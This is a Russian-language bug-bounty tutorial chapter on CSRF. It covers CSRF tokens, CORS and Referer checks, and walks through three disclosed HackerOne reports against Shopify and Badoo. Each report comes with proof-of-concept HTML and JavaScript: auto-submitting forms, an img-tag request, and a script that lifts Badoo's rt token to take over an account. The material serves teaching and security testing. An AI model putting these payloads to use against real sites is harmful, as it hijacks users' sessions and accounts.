Что такое CSRF (Cross Site Request Forgery)
Cross Site Request Forgery, или CSRF, является атакой, которая осуществляется в тот момент, когда вредоносный сайт, письмо, сообщение, приложение или что-либо иное заставляет браузер пользователя выполнить некоторые действия на другом сайте, где этот пользователь уже аутентифицирован. Зачастую это происходит без ведома пользователя.
Оглавление:
Базовые знания о HTTP протоколе. Глава 1
Что такое HTML иньекция. Уроки хакинга. Глава 2.
Что такое HPP (HTTP Parameter Pollution) атака? Уроки хакинга. Глава 3
Что такое CRLF инъекция, примеры использования. Уроки хакинга, Глава 4.
Уязвимости в логике приложений. Уроки хакинга. Глава 6
Уязвимости в логике работы приложений. Примеры.
Вред от CSRF-атаки зависит от сайта, принимающего действие. Вот пример:
- Бобвходитвсвойличныйкабинетвбанковскомонлайнклиенте, выполняет какие-то операции, но не разлогинивается.
- Бобпроверяетсвоюпочтуикликаетнассылку,ведущую на незнакомый сайт.
- Незнакомыйсайтделаетзапросконлайн-клиентубанка Боба на перевод денег, передавая информацию в cookie Боба, сохранившуюся с предыдущей его сессии.
- СайтбанкаБобапринимаетзапросотнезнакомого(вредоносного) сайта без использования CSRF-токена и выполняет перевод.
Еще более интересна ситуация, когда ссылка на вредоносный
сайт может содержаться в валидном HTML, благодаря чему Бо-
бу даже не придется нажимать на ссылку: <img src=”www.malicious_site.com”>. Если устройство Боба (например, браузер) отрису-
ет это изображение, оно сделает запрос к malicious_site.com и потенциально совершит CSRF-атаку.
Теперь, зная об опасностях, которые несут CSRF-атаки, вы можете защититься от них множеством способов, самым популярным из которых, возможно, является использование CSRFтокена, который должен отправляться с любым запросом, который потенциально может изменять данные (например, с POST-запросами). Веб-приложение (такое, как онлайн-банк Боба) должно будет сгенерировать токен, состоящий из двух частей, одну из которых получит Боб, а вторая будет сохранена в приложении.
Когда Боб попытается совершить запрос на перевод денег, он должен будет отправить токен, который будет проверен банком на валидность при помощи токена, хранящегося в приложении.
Теперь, когда мы знаем о CSRF и CSRF-токенах, Cross Origin Resource Sharing (CORS) становится более понятным, хотя возможно, я просто заметил это по мере исследования новых целей. В общем, CORS ограничивает список ресурсов, которые могут получать доступ к данным. Другими словами, когда CORS используется для защиты сайта, вы можете написать Javascript для вызова целевого приложения, прочитать ответ и сделать другой вызов, если целевой сайт вам это позволяет.
Если это кажется непонятным, то попробуйте с помощью Javascript сделать вызов к HackerOne.com/activity.json, прочитать ответ и сделать второй вызов. Вы также увидите важность этого и потенциальные способы обхода в примере #3 ниже.
Наконец, важно заметить (спасибо Джоберту Абме за указание на этот момент), что не каждый запрос без CSRF-токена является невалидным. Некоторые сайты могут выполнять дополнительные проверки, такие, как сравнение заголовка исходящей стороны (хотя это не является гарантией безопасности и есть известные случаи обхода). Это поле, которое идентифицирует адрес страницы, которая ссылается на запрашиваемый ресурс. Другими словами, если исходящая сторона (реферер)
выполняет POST-вызов не с того же сайта, который получил HTTP-запрос, сайт может не позволить вызову достигнуть того же эффекта, что достигается с использованием CSRFтокена. Кроме того, не каждый сайт использует терми csrf при создании или определении токена. Например, на Badoo это параметр rt, как описано ниже.
Ссылки OWASP
Прочтите руководство по тестированию на OWASP Testing for CSRF
Примеры
1. Экспорт установленных пользователей Shopify
Сложность: Низкая
Url: https://app.shopify.com/services/partners/api_clients/XXXX/export_installed_users
Ссылка на отчет: https://hackerone.com/reports/9647010
Дата отчета: 29 октября 2015
Выплаченное вознаграждение: $500
Описание:
API Shopify предоставляет эндпоинт для экспорта списка установленных пользователей через URL, показанный выше. Уязвимость заключалась в том, что сайт мог сделать запрос к этому эндпоинту и получить в ответ информацию, поскольку
Shopify не использовал CSRF-токен для валидации этого запроса. В результате, следующий HTML-код мог быть использован для отправки формы от имени ничего не подозревающей жертвы.
1 <html> 2 <head><title>csrf</title></head> 3 <body onLoad=”document.forms[0].submit()”> 4 <form action=”https://app.shopify.com/services/partners 5 /api_clients/1105664/export_installed_users” method=”GE 6 T”> 7 </form> 8 </body> 9 </html>
В этом примере при простом посещении страницы Javascript отправляет форму, которая включает GET-запрос к API Shopify, используя cookie Shopify, установленные в браузере жертвы.
Выводы
Увеличивайте масштаб ваших атак и ищите баги не только на сайте, но и в API. Эндпоинты API также являются потенциальной площадкой для использования уязвимостей, так что стоит помнить об этом, особенно, если вы знаете, что API мог быть разработан или стать доступным после того, как был создан веб-интерфейс.
[ad name=»Responbl»]
2. Отключение Shopify от Twitter
Сложность: Низкая
Url: https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect
Ссылка на отчет: https://hackerone.com/reports/11121611
Дата отчета: 17 января 2016
Выплаченное вознаграждение: $500
Описание:
Shopify предоставляет интеграцию с Twitter, что позволяет владельцам магазинов постить твиты о своих продуктах. Подобным образом сервис позволяет и отключить аккаунт Twitter от связанного магазина.
URL для отключения аккаунта Twitter от магазина указан выше. При совершении запроса Shopify не валидировал CSRFтокен, что позволило злоумышленнику создать фальшивую ссылку, клик на которую приведет ничего не подозревающего владельца магазина к отключению его магазина от Twitter.
Описывая уязвимость, WeSecureApp предоставил следующий пример уязвимого запроса обратите внимание, что использование тега img делает вызов к уязвимому URL:
1 GET /auth/twitter/disconnect HTTP/1.1 2 Host: twitter-commerce.shopifyapps.com 3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.1 4 1; rv:43.0) Gecko/20100101 Firefox/43.0 5 Accept: text/html, application/xhtml+xml, application/x 6 ml 7 Accept-Language: en-US,en;q=0.5 8 Accept-Encoding: gzip, deflate 9 Referer: https://twitter-commerce.shopifyapps.com/accou 10 nt 11 Cookie: _twitter-commerce_session=REDACTED 12 >Connection: keep-alive
Поскольку браузер выполняет GET-запрос для получения изображения по переданному URL и CSRF-токен не валидируется, пользовательский магазин теперь отключен:
1 <html> 2 <body> 3 <img src=”https://twitter-commerce.shopifyapps.com/ 4 auth/twitter/disconnect”> 5 </body> 6 </html>
Выводы
В этой ситуации, описанная уязвимость могла быть найдена при использовании проксисервера, такого, как Burp или Firefox Tamper Data, достаточно было взглянуть на запрос, отправляемый к Shopify и увидеть, что этот запрос был осуществлен с помощью GET-запроса. Поскольку это было разрушительное действие и GETзапросы не должны изменять данные на сервер, это стоит исследовать.
[ad name=»Responbl»]
3. Полный захват аккаунта на Badoo
Сложность: Средняя
Url: https://badoo.com
Ссылка на отчет: https://hackerone.com/reports/12770312
Дата отчета: 1 апреля 2016
Выплаченное вознаграждение: $852
Описание:
Если вы взглянете на Badoo, выпоймете, что они защищаются от CSRF включением в URL параметра rt, который имеет длину всего в 5 символов (по крайней мере, на момент написания). Хотя я заметил это, когда Badoo запустил кампанию на HackerOne, я не нашел способа это использовать. Однако, Махмуд Джамал (zombiehelp54) нашел.
Поняв значение параметра rt, он также заметил, что параметр возвращался в почти всех json-ответах. К сожалению, это не принесло пользы, поскольку CORS защищает Badoo от атак, читая эти ответы. Махмуд продолжил искать.
Оказалось, что файл https://eu1.badoo.com/worker-scope/chrome-ser содержит значение rt. Еще лучше было то, что этот файл
мог быть произвольно прочитан атакующим и не требовал от
жертвы никаких действий кроме посещения вредоносной веб-страницы. Вот код, который он предоставил:
1 <html>
2 <head>
3 <title>Badoo account take over</title>
4 <script src=https://eu1.badoo.com/worker-scope/chrome-s 5 ervice-worker.js?ws=1></script>
6 </head>
7 <body>
8 <script>
9 function getCSRFcode(str) {
10 return str.split(’=’)[2];
11 }
12 window.onload = function(){
13 var csrf_code = getCSRFcode(url_stats);
14 csrf_url = ’https://eu1.badoo.com/google/verify.phtml?c
15 ode=4/nprfspM3yfn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authu
16 ser=3&session_state=7cb85df679219ce71044666c7be3e037ff5
17 4b560..a810&prompt=none&rt=’+ csrf_code; 18 window.location = csrf_url;
19 };
20 </script>
В общем, когда жертва загружала страницу, она делала запрос к скрипту Badoo, забирала параметр rt для этого пользователя и затем делала запрос от имени жертвы. В этом случае, это было связывание аккаунта Махмуда с аккаунтом жертвы, что позволяло полностью захватить аккаунт.
Выводы
Где дым, там и огонь, Здесь Махмуд заметил, что параметр rt возвращался в разных местах, в конкретных json-ответах. Поэтому он правильно предположил, что он может быть показан где-то, где его можно будет использовать в этом случае в js файле.
Двигаясь дальше, если вы чувствуете, что чтото не так, продолжайте исследования. Используя Burp проверьте все ресурсы, к которым осуществляется вызов, когда вы посещаете целевой сайт/приложение.
[ad name=»Responbl»]
Итоги
CSRF-атаки представляют другой опасный вектор для атак и могут быть быть выполнены без активных действий со стороны жертвы или вообще без её уведомления. Обнаружение CSRF-уязвимостей требует некоторой изобретательности и, опять же, желания тестировать все подряд.
Как правило, формы стандартно защищены фреймворками вроде Rails если сайт выполняет POST-запрос, но API могут
быть отдельной историей. Например, Shopify написан в основном на основе фреймворка Ruby on Rails, который предоставляет защиту от CSRF-атак для всех форм по умолчанию (хотя её и можно отключить). Однако, очевидно, что это не обязательно так для API, созданных с помощью этого фреймворка. Наконец, обращайте внимание на вызовы, которые изменяют данные на сервере (такие, как действие удаления) и выполняются с помощью GET-запроса.
